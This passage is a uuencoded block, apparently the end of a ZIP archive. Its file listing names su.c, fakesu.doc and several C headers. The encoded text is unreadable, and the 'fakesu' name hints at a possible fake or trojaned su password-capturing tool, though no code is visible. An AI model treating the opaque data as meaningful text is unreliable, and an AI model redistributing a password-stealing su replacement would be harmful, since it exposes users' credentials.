- M.SK@P+)<;RI'30G:WN[TG$OS+9Y'S.2;\K)!*3CCAO98U(=>_;NSQ=``U+1@
- M`EM:[-XXW&/H(BD!.>8U="<FZ3[Y#=_,_X`)-T<?GYCG-\)WHIKI2>=MVRWD
- M<\<RD&>Z"L6%LJ>@'>TSO)_`V.X4&Z(Q*Q'.ESYT[S$)?WY4,!A0D1^8,&="
- M-BAM^(1%UGEG?*RSHCD9C>#&*<HMN@_DV#$@^./LYOYR=OT\'`[A<?`,CV;$
- M/$YOOY#HF>#W@1M83YW39<`7S-03BV.,/Y:7+32<*$2-"REP!N"#X;9`$QG1
- M/NC]4X?^`0SZ,$CQW\"R5O.3!:\6WLZEDMK,DS,/R9:XA\AG<CK[]=?I]9DS
- M-XE'NL-:31F4:R7/&DBJ:`1Q8#&!$1/!_L>`#>*FN4>Y"=62"EWC;]\!9034
- M1C,(%`EJ*Z!%#?6E52"3X"5ERH'D+5Z4'T4S$WMJD#EE13L:IR9W%^=75W5E
- MZDHKI#L.T^'(*&)L<&JO%23:@M#'%EW+CN5T-8/:Z)3#KVY<SLJ=CQN7Y6K;
- M;"Y+8@H9PUH?0)+E:8)T-:!11;/.5"B%CF@,:103@OP*="LR!=6M:K30U/%/
- M_);E0FIX*1:*$J>6@T(GJ1J0X.<%+X9!,LQP?+.H**W?J('0G[)5?=/=6/.=
- M+,#:,TV-S(YUY^XS^+!R_<W-F`P)J$[FG*WGIBTFC0O=R9;8W.S$]7$E[`51
- ME%"(@I1&B6JNVOIS(C>B#7-&>$U:[POS]3P4^886/E]>G4,/4T)#ID(D+ZTR
- M$FK$4KO::?(+[DCG?1P_FZ7ZU-XZTYBZ5HKB]1+QP/,H0):7\=N<+A+@V7@2
- M,-)?>!RG6:Z.D8#*:T;?AKWG(VGZR'K(GN>SSTVF5MC*X1(,/NI\Z[P+\>X*
- MXV-BR1>\H;ZB&U:&5Q$CK<*.1KC[28MJ;%5W#GK4III:U;WSMRIGI&R_Y@=M
- M/BJ'YO+<YB&^)`1%JHV>&SE'6*[OWJIA949.[?+AM\\%58#W4?DX&`SQ=\M&
- MH>]'PZ/OJ]:RK3'V3UKV(%:P&SAO2,TIT/410_VCZ1UZHWR/]1EFN4G^ZM$N
- M/^-V@ZZ_D]B6>-J5PT-K5C7NWDX6JM:`M=T.#Y]/_MMFO_O(%`ZAW),Z8^UN
- M&&OL#?#*;;;7"UK?'?35G#<>X2B.!+(<\1K&5FF3@`82OK'E:QH0G@TGWOZ^
- M,%V[1>$ERI[1]?H$=N]2E>4IDH"9T::;J?JW]RW<`ID7[W'F783:OWHMQ5N=
- M#?ICXV;Z[#9W9#*)1<ZXUU#!@ZX/JQN7T_1=>LN@.#$J/_&/ZMC581F&?NUT
- MKO+B,!6*;>%(2`5@#WG&4H:O0CCW.-U3R]?*6(J,YMCK>^NU([D)56*@/?J5
- M;SS/TJ$/]CW74\D_3,1>]?<3__`[OU_[>PH^=$?*#1#),K%BGH,V(G?$;L)W
- M;]UX2#->_@502P,$%`````@`.WQ%(GX#O_0T"0``3Q<```@`$`!S>7-T96TN
- M:%58#`#MH_@RPOSX,OP!``"-6']OVD@3_OO-IYCVI`(5$$B::_/F>I)#(/&5
- M`#+0-M(K<<9>8%7C15X[*=)]^/>9M<$&`KVV4'8\OW=VYEF?OR>]UK%8UGRQ
- M$J$OPIA\,9.AC*4*-<U41'HA@B")9:!I%:EYY"YU_8R(6FJUCN1\$5.Y5:%/
- MUU6Z;N)S@<\E/A_PN:I2\_KZ=^I$0M!0S>(7-Q+444GHNVR@2G;HU<]8VV@A
- MM_H)/V<LHC.1&UJKA#PWI$CX4L>1G":Q(!F3&_KG\'&I?#E;LQ[0H%U$%"\$
- MQ2)::E(SL[COC>E>A")R`QHDTT!ZU)6>"+4@%Z:9@E!]FAH]+'',[1L2$L\C
- M>A:1QIH0,YPHNS'[&9%:,5>%U;CAF@(WSGE?CS8/RB<9&N,+M4(`"^A$2"\R
- M"&@J*-%BE@155@%F^F:/'OKC$5F])_IF.8[5&SW=@#E>*#P5SR)5)9>K0$(S
- MPHC<,%XC(ZSAL>VT'B!BW=I=>_3$(73L4:\]'%*G[Y!%`\L9V:UQUW)H,'8&
- M_6&[3C04[)9@!2<R.C.;@JSY(G91.FG83]A%#=\"GQ;NL\!N>D(^PS.7/%33
- MKW?*I#10X=P$">8\C3<D9Q2JN$HOD41QQ.KD'IH<<O55Z>J:1@(I$C0(7$]0
- MC88):[B\;%3I5NF8"_71HL9%L]FL-2\;'ZLT'EK(Q?OSL[/S]ZPF2'S!1^D\
- M7J^$KB^P63,.WW@XDX'(N'^3&>\?S*QC-ZXO_F3R#,>.AB-K-'FT6DY_.+EU
- M^E_:O;/?3#GCT<0>WG:_[*Q;#\[.^L[>77?L3G^'T.WM*G@<W.ZM6SOKWK==
- M?J=]O[,>]EM@0-]`ZI&'0_>W4<\V,IW'$528'B.R-36:'QOXDVEB;GJ3<OCE
- M+.X*O7M'!5J':5M%_\FXRLL*E<O\_2[37:'/GRGG/V(`B3PPP+1=`Z"<,)#R
- M'S&`G3DPP+1=`Z"<,)#R'S&`G3DPP+1=`Z"<,)#R'S'`M71@@6F[%IATPD0J
- M<,0$JO/``M-V+8!RPD#*?\0`E^N!!4/<-<&D$S8RB2-&<*8.;!@:#LC7CWP<
- MBN7/["=,L>`^?^LD?^NX9SC-!YX9&CQ[&)R/OQ\XAZ<GC+'LQMBF@SU87]N3
- M<<\>CNXF#U"V;7=)B!'G<[,K2)BF,,%@L;]/OK:=H=WOG7D+-Z+W<Q$':HY1
- M6*[<9*0X7H?N4AB*FLTF,05:B!]FG4@?:P@)_#*4O"OMZM_M1Z,[NS?IV-UV
- M#XUR$WB!2(T#=_$8(_<5H9Q*S=>DVH[SBE1.I8NM%+R^4V$IYGE/4QZ-;XC&
- M^+T4RZ7"X$1D&D@#PPH`"#NF8QF:L49+%V,46"-P5V;$0<+CR<IXY47J?`[E
- MVS4<.7;O/MTNE`R<:DT>VA9<&W*Y&)[']F/?>3(\^9Y"MXK69D\IJ[G\(0.:
- M<)YN.#;J\)'F9^G6LI.+J+!OQ4$IHBA41D^62T,X$S^!JD(HC5/"S7XI%N/8
- MM>X'<IH[MBTX$3[ON9#GJ-/JC;J[%3WSPCAX/3Z,=C/S7ZGVSJ3_)3]DO.(:
- MVZR_\[J9K[_Q^B)?.[S^\$J2/,8=!DJ@=OZ22WH4:\%93M&0_J_!7V_K]3K`
- M$`Z1X4>Q>)'2Q,CHV0UP<E08K`UVXZ2X'N-63Z&\#!`U\%J[VI.2M+M.Y:QA
- MR[:I/+RW2YILQ_Y>^U!OU*\8U"HXK!-OD5TQJ%9[68B0M22:/3N?RO#<\QAW
- MSO$?`]H-=)W+9^8`X'=#+3>`FM&GJ@(`!JPD#0$G1&\PY93Q5J22^6(362!_
- M"+*'`Q3XB&,GVR#?G1)G^)UVQ"HC1IA,8N6I<`:,JAFVRQF#9P/%&5$:N^9H
- MI39\<U)#P3R*?9@G;N0SW&:(&HF9B$3H<0[5)GUU@C.LXL[<M1#I)J_@:6["
- M"41L[@^>6JY031&]J`@:98R`W<!LAPCDDD^^@>1\6#?QPW^`2YR-F0I\/H=O
- M30'<1DFHZ,&54Z!=U_>+==%)(FX2C-JK\"=9K414]BHD8J^>PG5LA\%^G"L$
- MII,@YH[A@9NU8..T]%-7<,^8`TDWZ8_/>(ZOBZNK.O51$4@WBF$5I^E*L7IN
- MC?68O*$>!">&KP2\SW]S19:JIDH,J,:_EXAO`ID'[-VGVE2:O.3E^^=G:EY\
- MHI>%1"'BD"-W<A[6N'N$?NJ#B\V;HWL^FU.0B'IZ0\N.!\IG/!BT';YGQ,*#
- M`G?N2F0W=0,E\H+[<?WMMJ]NJ@F'HE!F%?KG'RJ_V3[+-MP,Y)QJ>HT]-(>J
- M4IC\&$BMT=.@/;GK/UIVC[>EN>T[QWDR(YS7O:8F]31PPQ\%:>!G"]`*4N4]
- M3<1$N)G)\+)R8+P@SE^`""7\Y9BSU?_B4A&:I$[@XK9:%+7<.];@X;031N:(
- M$_]"?!7QR,B6;Z36*[[S9>JR'&WUF<;Q+_55"G)6MS=^/"WG!F&R/)0;/%B_
- MDELMW'TY3">G>UH.TRH*]N6Z_6]MY[1<H%YPC/;D!N->ZU=Y24+O("_#@=5J
- MGY8K[L=6SIS`TW*F@^S+?;^S[^U?./K3EW-YX*D1G'3[+:O["X<+XOPN()4D
- M%!(:/[_'4LL]=55N&NC+R"SZ+WI-C6QN*]'<H+>I,%V?JPJ3,0FY7YG70O$-
- MOPHR@R94<<J7/^>65]]HPRSF*80!D(TEP9W-->_,C*5DR:_ZQ$\T24Q\A?E4
- ME$7'E1[&++"`B]&=ZATH+7]2L]&XK%_4FM?7%Z31#LWKK_I5_:+>I)6+GG_5
- MP-0-,>Z:5U>_U_#U*04+&P1A($:I4=J.JM)UR2`)DT>-&3TP,W.;R5CMY0\Q
- M!T+K]&T?O)7+%08C#SNP,F+F`10H!"!*NO`ZDV?)W\9**7TWQG!D\RYKH=#1
- M?06_.;<\_E6T9(4F[!0U[U5'VNPV&U`Q%5$SH6'>75<*-YS)(,76`Z<_ZG,1
- M,2#=="T\+5O17%>(OQE*ITWM\'FYD@/M_*8P<H%Q/,X@XNMUARBB&'NF<Z2?
- M0M@T>;L8-LU2`:>:2V-Z*VB/4HF\OVJ^E+%`N852F@/[5ZEK".8.R5-];?*4
- MSQIJ]ZQ;6(5?!;MO`<"E0<]O<^V3\@A3N<)#.L8/2I?;'I^^=8*8ST]]M<00
- MSH5WZ>4[\U^5[F2$&H6C>PYFVE[3=*!E7W3/7?[>1/Q_4$L!`A4#%`````@`
- M+R)$(G7:3PX=#```.3````@`#````````0``0*2!`````&-O;F9I9RYH55@(
- M`).C^#*Z#/<R4$L!`A4#%`````@`\WM%(H>YN^Z.!```M`D```<`#```````
- M`0``0*2!4PP``&5R<F]R+FA56`@`IJ/X,CG\^#)02P$"%0,4````"`"Z3$4B
- MU8;>3X("``#.!```"@`,```````!``!`I($6$0``9F%K97-U+F1O8U58"`!/
- MJ?@R3ZGX,E!+`0(5`Q0````(`.-[12*[JQGC(@@``$X6```,``P```````$`
- M`$"D@=`3``!L:6)G971T97AT+FA56`@`NZ/X,AG\^#)02P$"%0,4````"`#H
- M>T4BNZL9XR((``!.%@``"0`,```````!``!`I($L'```;&EB:6YT;"YH55@(
- M`,RC^#(C_/@R4$L!`A4#%`````@`(7Q%(CD1D)-P!P``5A(```0`#```````
- M`0``0*2!A20``'-U+F-56`@`WJ/X,H[\^#)02P$"%0,4````"``[?$4B?@._
- M]#0)``!/%P``"``,```````!``!`I($G+```<WES=&5M+FA56`@`[:/X,L+\
- 8^#)02P4&``````<`!P#0`0``D34`````
- `
- end
-